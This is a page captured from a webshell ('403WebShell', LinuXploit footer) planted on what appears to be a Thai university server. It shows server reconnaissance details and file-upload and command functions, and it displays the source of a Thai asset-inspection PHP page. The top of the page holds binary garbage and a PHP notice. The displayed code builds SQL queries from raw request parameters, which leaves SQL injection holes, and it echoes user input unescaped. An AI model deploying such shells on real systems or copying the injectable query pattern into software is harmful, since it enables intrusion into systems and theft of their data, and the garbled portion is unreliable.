h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/aritasset/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/aritasset/pages/index.php
<?ob_start();?>
<?php session_start();?>
<?php include 'check_mode_admin.php';?>
<?php include 'dbconnect.php';?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>ตรวจสอบครุภัณฑ์</title>

    <!-- Bootstrap Core CSS -->
    <link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="../dist/css/sb-admin-2.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head>

<body>
    <div id="wrapper">
        <!-- Navigation -->
        <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <a class="navbar-brand" href="index.php">ตรวจสอบครุภัณฑ์</a>
            </div>
            <!-- /.navbar-header -->

            <ul class="nav navbar-top-links navbar-right">
                <!--<li class="dropdown">
                    <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                        <i class="fa fa-envelope fa-fw"></i> <i class="fa fa-caret-down"></i>
                    </a>
                    <ul class="dropdown-menu dropdown-messages">
                        <li>
                            <a href="#">
                                <div>
                                    <strong>John Smith</strong>
                                    <span class="pull-right text-muted">
                                        <em>Yesterday</em>
                                    </span>
                                </div>
                                <div>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque eleifend...</div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <strong>John Smith</strong>
                                    <span class="pull-right text-muted">
                                        <em>Yesterday</em>
                                    </span>
                                </div>
                                <div>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque eleifend...</div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <strong>John Smith</strong>
                                    <span class="pull-right text-muted">
                                        <em>Yesterday</em>
                                    </span>
                                </div>
                                <div>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque eleifend...</div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a class="text-center" href="#">
                                <strong>Read All Messages</strong>
                                <i class="fa fa-angle-right"></i>
                            </a>
                        </li>
                    </ul>
                </li>-->
                <!-- /.dropdown -->
                <!--<li class="dropdown">
                    <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                        <i class="fa fa-tasks fa-fw"></i> <i class="fa fa-caret-down"></i>
                    </a>
                    <ul class="dropdown-menu dropdown-tasks">
                        <li>
                            <a href="#">
                                <div>
                                    <p>
                                        <strong>Task 1</strong>
                                        <span class="pull-right text-muted">40% Complete</span>
                                    </p>
                                    <div class="progress progress-striped active">
                                        <div class="progress-bar progress-bar-success" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width: 40%">
                                            <span class="sr-only">40% Complete (success)</span>
                                        </div>
                                    </div>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <p>
                                        <strong>Task 2</strong>
                                        <span class="pull-right text-muted">20% Complete</span>
                                    </p>
                                    <div class="progress progress-striped active">
                                        <div class="progress-bar progress-bar-info" role="progressbar" aria-valuenow="20" aria-valuemin="0" aria-valuemax="100" style="width: 20%">
                                            <span class="sr-only">20% Complete</span>
                                        </div>
                                    </div>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <p>
                                        <strong>Task 3</strong>
                                        <span class="pull-right text-muted">60% Complete</span>
                                    </p>
                                    <div class="progress progress-striped active">
                                        <div class="progress-bar progress-bar-warning" role="progressbar" aria-valuenow="60" aria-valuemin="0" aria-valuemax="100" style="width: 60%">
                                            <span class="sr-only">60% Complete (warning)</span>
                                        </div>
                                    </div>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <p>
                                        <strong>Task 4</strong>
                                        <span class="pull-right text-muted">80% Complete</span>
                                    </p>
                                    <div class="progress progress-striped active">
                                        <div class="progress-bar progress-bar-danger" role="progressbar" aria-valuenow="80" aria-valuemin="0" aria-valuemax="100" style="width: 80%">
                                            <span class="sr-only">80% Complete (danger)</span>
                                        </div>
                                    </div>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a class="text-center" href="#">
                                <strong>See All Tasks</strong>
                                <i class="fa fa-angle-right"></i>
                            </a>
                        </li>
                    </ul>
                </li>-->
                <!-- /.dropdown -->
                <!--<li class="dropdown">
                    <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                        <i class="fa fa-bell fa-fw"></i> <i class="fa fa-caret-down"></i>
                    </a>
                    <ul class="dropdown-menu dropdown-alerts">
                        <li>
                            <a href="#">
                                <div>
                                    <i class="fa fa-comment fa-fw"></i> New Comment
                                    <span class="pull-right text-muted small">4 minutes ago</span>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <i class="fa fa-twitter fa-fw"></i> 3 New Followers
                                    <span class="pull-right text-muted small">12 minutes ago</span>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <i class="fa fa-envelope fa-fw"></i> Message Sent
                                    <span class="pull-right text-muted small">4 minutes ago</span>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <i class="fa fa-tasks fa-fw"></i> New Task
                                    <span class="pull-right text-muted small">4 minutes ago</span>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a href="#">
                                <div>
                                    <i class="fa fa-upload fa-fw"></i> Server Rebooted
                                    <span class="pull-right text-muted small">4 minutes ago</span>
                                </div>
                            </a>
                        </li>
                        <li class="divider"></li>
                        <li>
                            <a class="text-center" href="#">
                                <strong>See All Alerts</strong>
                                <i class="fa fa-angle-right"></i>
                            </a>
                        </li>
                    </ul>

                </li>-->
                <!-- /.dropdown -->
                <li class="dropdown">
                    <a class="dropdown-toggle" data-toggle="dropdown" href="#">
                        <i class="fa fa-user fa-fw"></i> <i class="fa fa-caret-down"></i>
                    </a>
                    <ul class="dropdown-menu dropdown-user">
                        <li><a href="#"><i class="fa fa-user fa-fw"></i> User Profile</a>
                        </li>
                        <li><a href="#"><i class="fa fa-gear fa-fw"></i> Settings</a>
                        </li>
                        <li class="divider"></li>
                        <li>
<?php
if($_SESSION['Username_aritasset'])
{
?>
						<a href="logout.php"><i class="fa fa-sign-out fa-fw"></i> Logout</a>
<?php 
} else {
?>
						<a href="login.php"><i class="fa fa-sign-in fa-fw"></i> Login</a>
<?php 
}
?>						
                        </li>
                    </ul>
                    <!-- /.dropdown-user -->
                </li>
                <!-- /.dropdown -->
            </ul>
            <!-- /.navbar-top-links -->

            <!--<div class="navbar-default sidebar" role="navigation">
                <div class="sidebar-nav navbar-collapse">
                    <ul class="nav" id="side-menu">
                        <li class="sidebar-search">
                            <div class="input-group custom-search-form">
                                <input type="text" class="form-control" placeholder="Search...">
                                <span class="input-group-btn">
                                    <button class="btn btn-default" type="button">
                                        <i class="fa fa-search"></i>
                                    </button>
                                </span>
                            </div>

                        </li>
                        <li>
                            <a href="index.html"><i class="fa fa-dashboard fa-fw"></i> Dashboard</a>
                        </li>
                        <li>
                            <a href="#"><i class="fa fa-bar-chart-o fa-fw"></i> Charts<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="flot.html">Flot Charts</a>
                                </li>
                                <li>
                                    <a href="morris.html">Morris.js Charts</a>
                                </li>
                            </ul>

                        </li>
                        <li>
                            <a href="tables.html"><i class="fa fa-table fa-fw"></i> Tables</a>
                        </li>
                        <li>
                            <a href="forms.html"><i class="fa fa-edit fa-fw"></i> Forms</a>
                        </li>
                        <li>
                            <a href="#"><i class="fa fa-wrench fa-fw"></i> UI Elements<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="panels-wells.html">Panels and Wells</a>
                                </li>
                                <li>
                                    <a href="buttons.html">Buttons</a>
                                </li>
                                <li>
                                    <a href="notifications.html">Notifications</a>
                                </li>
                                <li>
                                    <a href="typography.html">Typography</a>
                                </li>
                                <li>
                                    <a href="icons.html"> Icons</a>
                                </li>
                                <li>
                                    <a href="grid.html">Grid</a>
                                </li>
                            </ul>

                        </li>
                        <li>
                            <a href="#"><i class="fa fa-sitemap fa-fw"></i> Multi-Level Dropdown<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a href="#">Second Level Item</a>
                                </li>
                                <li>
                                    <a href="#">Second Level Item</a>
                                </li>
                                <li>
                                    <a href="#">Third Level <span class="fa arrow"></span></a>
                                    <ul class="nav nav-third-level">
                                        <li>
                                            <a href="#">Third Level Item</a>
                                        </li>
                                        <li>
                                            <a href="#">Third Level Item</a>
                                        </li>
                                        <li>
                                            <a href="#">Third Level Item</a>
                                        </li>
                                        <li>
                                            <a href="#">Third Level Item</a>
                                        </li>
                                    </ul>

                                </li>
                            </ul>

                        </li>
                        <li class="active">
                            <a href="#"><i class="fa fa-files-o fa-fw"></i> Sample Pages<span class="fa arrow"></span></a>
                            <ul class="nav nav-second-level">
                                <li>
                                    <a class="active" href="blank.html">Blank Page</a>
                                </li>
                                <li>
                                    <a href="login.html">Login Page</a>
                                </li>
                            </ul>

                        </li>
                    </ul>
                </div>

            </div>-->
            <!-- /.navbar-static-side -->
        </nav>

        <!-- Page Content -->
        <div id="page-wrapper">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12">
<?php
$qr = (isset($_GET["qr"])) ? $_GET["qr"] : '';
$as = (isset($_GET["as"])) ? $_GET["as"] : '';
$lc = (isset($_GET["lc"])) ? $_GET["lc"] : '';
if ($qr <> "") {
	if (isset($_POST["submit"])) {
		$asset_status = (isset($_POST["asset_status"])) ? $_POST["asset_status"] : '';
		$location_code = (isset($_POST["location_code"])) ? $_POST["location_code"] : '';
		$qr = (isset($_POST["qr"])) ? $_POST["qr"] : '';
		if ( ($asset_status<>"") && ($location_code<>"") && ($qr<>"") ) {
			//$redirect_url = "https://kobsak.github.io/demo/index.html?asset_status=" . $asset_status . "&location_code=" . $location_code;
			//header( "location: $redirect_url" );
			//exit(0);	
			$sql = "UPDATE asset_detail ";
			$sql .= "SET asset_status_code='" . $asset_status . "',";
			$sql .= "location_code='" . $location_code . "' ";
			$sql .= " WHERE asset_code='" . $qr . "'";
			$query = mysqli_query($conn,$sql);
			if($query) {	
				$goto_url = "qrscanner/demo/qr.php?as=" . $asset_status . "&lc=" . $location_code;
?>
<font color="#0000FF"><h1>บันทึกข้อมูลสำเร็จ</font>&nbsp;&nbsp;&nbsp;&nbsp;<a href="<?php echo $goto_url;?>"><button type="button" class="btn btn-warning">คลิกที่นี่เพื่อสแกน QR CODE</button></a></h1>
<?php	
				$sql = "SELECT * FROM asset_detail WHERE asset_code='" . $qr . "'";
				$query = mysqli_query($conn,$sql);	
				if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {	 //มีเลขครุภัณฑ์นี้มั้ย
?>					
									<br>
								   <div class="table-responsive">
										<table class="table table-striped table-bordered table-hover">
											<tbody>
												<tr>
													<td  bgcolor="#CCFFCC">รหัสครุภัณฑ์</td>
													<td  bgcolor="#CCFFCC"><?php echo $result["asset_code"];?></td>
												</tr>
												<tr>
													<td  bgcolor="#CCFFCC">ชื่อครุภัณฑ์</td>
													<td  bgcolor="#CCFFCC"><?php echo $result["asset_name"];?></td>
												</tr>	
												<tr>
													<td  bgcolor="#CCFFCC">คุณสมบัติ (ยี่ห้อ/รุ่น)</td>
													<td  bgcolor="#CCFFCC"><?php echo $result["spec"];?></td>
												</tr>	
												<tr>
													<td  bgcolor="#00FFFF">สถานะครุภัณฑ์</td>
													<td  bgcolor="#00FFFF">
<?php
					$sql2 = "SELECT * FROM asset_status WHERE asset_status_code='" . $result["asset_status_code"] . "'";
					$query2 = mysqli_query($conn,$sql2);	
					if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>	
													<?php echo $result2["asset_status_name"];?>
<?php
					} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {  asset_status
?>		
											
													</td>
												</tr>	
												<tr>
													<td  bgcolor="#00FFFF">สถานที่จัดเก็บครุภัณฑ์</td>
													<td  bgcolor="#00FFFF">
<?php
					$sql2 = "SELECT * FROM location WHERE location_code='" . $result["location_code"] . "'";
					$query2 = mysqli_query($conn,$sql2);	
					if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>	
													<?php echo $result2["location_name"];?>
<?php
					} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {  asset_status
?>														
													</td>
												</tr>													
											</tbody>
										</table>
									</div>


									<div class="table-responsive">
										<table class="table table-striped table-bordered table-hover">
											<thead>
												<tr>
													<th colspan="2" bgcolor="#FFFF99">รายละเอียดอื่น ๆ</th>
												</tr>
											</thead>
											<tbody>
												<tr>
													<td>หน่วยนับ</td>
													<td><?php echo $result["unit"];?></td>
												</tr>	
												<tr>
													<td>มูลค่าครุภัณฑ์</td>
													<td><?php echo $result["dr"];?></td>
												</tr>									
												<tr>
													<td>วันที่ได้มา</td>
													<td><?php echo $result["receivedate"];?></td>
												</tr>		
												<tr>
													<td>แหล่งเงิน</td>
													<td><?php echo $result["budgetgroup_id"];?></td>
												</tr>	
												<tr>
													<td>หมายเหตุ / เลขครุภัณฑ์เดิม</td>
													<td><?php echo $result["remark"];?></td>
												</tr>		
												<tr>
													<td>สถานที่จัดเก็บ</td>
													<td><?php echo $result["location_code"];?></td>
												</tr>																																																																	
											</tbody>
										</table>
									</div>					
<?php
				} //if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {	 //มีเลขครุภัณฑ์นี้มั้ย				
?>
<hr>
<a href="<?php echo $goto_url;?>"><button type="button" class="btn btn-warning">คลิกที่นี่เพื่อสแกน QR CODE</button></a>
<hr>
<?php
			} else {
				echo "ไม่สามารถบันทึกข้อมูลได้";
			}
			
		} else { //if ( ($asset_status<>"") && ($location_code<>"") ) {
?>
<br>&nbsp;&nbsp;&nbsp;กรุณาเลือกสถานะครุภัณฑ์และสถานที่จัดเก็บ<BR /><BR />&nbsp;&nbsp;&nbsp;<a href='javascript:history.back(1);'><button type="button" class="btn-warning">คลิกที่นี่เพื่อกลับไปหน้าที่แล้ว</button></a>
<?php
		} //if ( ($asset_status<>"") && ($location_code<>"") ) {
	} else { //if (isset($_POST["submit"])) {
		$sql = "SELECT * FROM asset_detail WHERE asset_code='" . $qr . "'";
		$query = mysqli_query($conn,$sql);	
		if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {	 //มีเลขครุภัณฑ์นี้มั้ย
?>					
							<br>
                           <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <tbody>
                                        <tr>
                                            <td  bgcolor="#CCFFCC">รหัสครุภัณฑ์</td>
                                            <td  bgcolor="#CCFFCC"><?php echo $result["asset_code"];?></td>
                                        </tr>
                                        <tr>
                                            <td  bgcolor="#CCFFCC">ชื่อครุภัณฑ์</td>
                                            <td  bgcolor="#CCFFCC"><?php echo $result["asset_name"];?></td>
                                        </tr>	
                                        <tr>
                                            <td  bgcolor="#CCFFCC">คุณสมบัติ (ยี่ห้อ/รุ่น)</td>
                                            <td  bgcolor="#CCFFCC"><?php echo $result["spec"];?></td>
                                        </tr>	
                                        <tr>
                                            <td  bgcolor="#FF99CC">สถานะครุภัณฑ์เดิมในฐานข้อมูล</td>
                                            <td  bgcolor="#FF99CC">
<?php
			$sql2 = "SELECT * FROM asset_status WHERE asset_status_code='" . $result["asset_status_code"] . "'";
			$query2 = mysqli_query($conn,$sql2);	
			if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
				echo $result2["asset_status_name"];
			} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
				echo $result["asset_status_code"];
			} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>
											</td>
                                        </tr>	
                                        <tr>
                                            <td  bgcolor="#FF99CC">สถานที่จัดเก็บครุภัณฑ์เดิมในฐานข้อมูล</td>
                                            <td  bgcolor="#FF99CC">
<?php
			$sql2 = "SELECT * FROM location WHERE location_code='" . $result["location_code"] . "'";
			$query2 = mysqli_query($conn,$sql2);	
			if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
				echo $result2["location_name"];
			} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
				echo $result["location_code"];
			} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>
											</td>
                                        </tr>																							
                                    </tbody>
                                </table>
                            </div>
                        <h1 class="page-header">กรุณาเลือกสถานะครุภัณฑ์ และสถานที่จัดเก็บ</h1>
<form action="" method="post" name="form1" id="form1">
                                        <div class="form-group">
                                            <label>สถานะครุภัณฑ์</label>&nbsp;&nbsp;&nbsp;
<?php
			$sql2 = "SELECT * FROM asset_status ORDER BY asset_status_code ASC";
			$query2 = mysqli_query($conn,$sql2);	
			while($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) { 
?>	
                                            <label class="radio-inline">
<?php
				if ($as == $result2["asset_status_code"]) {
?>
                                                <input type="radio" name="asset_status" id="status<?php echo $result2["asset_status_code"];?>" value="<?php echo $result2["asset_status_code"];?>" checked="checked"><?php echo $result2["asset_status_name"];?>
<?php				
				} else { //if ($as == $result2["asset_status_code"]) {
?>
                                                <input type="radio" name="asset_status" id="status<?php echo $result2["asset_status_code"];?>" value="<?php echo $result2["asset_status_code"];?>"><?php echo $result2["asset_status_name"];?>
<?php								
				} //if ($as == $result2["asset_status_code"]) {
?>											
                                            </label>
<?php
			} //while($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {  asset_status
?>																							
                                        </div>
                                        <div class="form-group">
                                            <label>สถานที่จัดเก็บครุภัณฑ์</label>
											<select class="form-control" name="location_code" id="location_code">
<?php
			$sql2 = "SELECT * FROM location ORDER BY location_code ASC";
			$query2 = mysqli_query($conn,$sql2);	
			while($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
				if ($lc == $result2["location_code"]) {
?>
												<option value="<?php echo $result2["location_code"];?>" selected="selected"><?php echo $result2["location_name"];?></option>
<?php				
				} else { //if ($lc == $result2["location_code"]) {
?>	
                                                <option value="<?php echo $result2["location_code"];?>"><?php echo $result2["location_name"];?></option>
<?PHP
				} //if ($lc == $result2["location_code"]) {
			} //while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
?>
                                            </select>
                                        </div>	
										<input type="hidden" name="qr" id="qr" value="<?php echo $qr;?>">
										<button type="submit" name="submit" id="submit" class="btn btn-success">บันทึกข้อมูล</button>	
<?php
				$goto_url = $_SERVER['SCRIPT_NAME'] . "?as=" . $as . "&lc=" . $lc;												
?>
										&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="<?php echo $goto_url;?>"><button type="button" class="btn btn-default">ยกเลิก</button></a>	
</form>	
<hr>
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
                                            <th colspan="2" bgcolor="#FFFF99">รายละเอียดอื่น ๆ</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <tr>
                                            <td>หน่วยนับ</td>
                                            <td><?php echo $result["unit"];?></td>
                                        </tr>	
                                        <tr>
                                            <td>มูลค่าครุภัณฑ์</td>
                                            <td><?php echo $result["dr"];?></td>
                                        </tr>									
                                        <tr>
                                            <td>วันที่ได้มา</td>
                                            <td><?php echo $result["receivedate"];?></td>
                                        </tr>		
                                        <tr>
                                            <td>แหล่งเงิน</td>
                                            <td><?php echo $result["budgetgroup_id"];?></td>
                                        </tr>	
                                        <tr>
                                            <td>หมายเหตุ / เลขครุภัณฑ์เดิม</td>
                                            <td><?php echo $result["remark"];?></td>
                                        </tr>		
                                        <tr>
                                            <td>สถานที่จัดเก็บ</td>
                                            <td><?php echo $result["location_code"];?></td>
                                        </tr>																																																																	
                                    </tbody>
                                </table>
                            </div>					
<?php
		} //if ($result=mysqli_fetch_array($query,MYSQLI_ASSOC)) {	 //มีเลขครุภัณฑ์นี้มั้ย
	} //if (isset($_POST["submit"])) 
} else { //if ($qr <> "") {
?>
<br><br><!--<a href="https://kobsak.github.io/demo/index.html"><button type="button" class="btn btn-warning">คลิกที่นี่เพื่อสแกน QR CODE</button></a>-->
<?php
				$goto_url = "qrscanner/demo/qr.php?as=" . $as . "&lc=" . $lc;												
?>
<a href="<?php echo $goto_url;?>"><button type="button" class="btn btn-warning">คลิกที่นี่เพื่อสแกน QR CODE</button></a>
<?php
	/*$redirect_url = "https://kobsak.github.io/demo/index.html";
	header( "location: $redirect_url" );
	exit(0);		*/
} //if ($qr <> "") 	
?>                    
					</div>
                    <!-- /.col-lg-12 -->
                </div>
                <!-- /.row -->
            </div>
            <!-- /.container-fluid -->
        </div>
        <!-- /#page-wrapper -->

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="../vendor/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="../vendor/bootstrap/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="../vendor/metisMenu/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="../dist/js/sb-admin-2.js"></script>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit